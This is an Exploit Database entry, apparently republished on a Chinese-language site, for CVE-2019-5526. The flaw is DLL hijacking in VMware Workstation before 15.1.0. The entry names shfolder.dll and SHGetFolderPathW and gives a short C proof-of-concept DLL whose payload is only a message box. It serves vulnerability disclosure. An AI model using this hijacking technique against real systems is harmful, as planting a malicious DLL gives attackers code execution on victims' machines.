VMware Workstation 15.1.0 – DLL Hijacking

• Exploit Database
• 14 阅读

• 作者： Miguel Mendez Z. & Claudio Cortes C.
  日期： 2019-05-16
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46851/

• #---------------------------------------------------------
  # Title: VMware Workstation DLL hijacking < 15.1.0
  # Date: 2019-05-14
  # Author: Miguel Mendez Z. & Claudio Cortes C.
  # Team: www.exploiting.cl
  # Vendor: https://www.vmware.com
  # Version: VMware Workstation Pro / Player (Workstation)
  # Tested on: Windows Windows 7_x86/7_x64 [eng]
  # Cve: CVE-2019-5526
  #---------------------------------------------------------
  
  
  Description:
  
  VMware Workstation contains a DLL hijacking issue because some DLL.
  
  
  DLL Hijacking: shfolder.dll
  Hooking: SHGetFolderPathW()
  
  ------Code_Poc-------
  #include "dll.h"
  #include <windows.h>
  
  DLLIMPORT void SHGetFolderPathW()
  {
  MessageBox(0, "s1kr10s", "VMWare-Poc", MB_ICONINFORMATION);
  exit(0);
  }
  
  --------------------------
  
  
  https://www.vmware.com/security/advisories/VMSA-2019-0007.html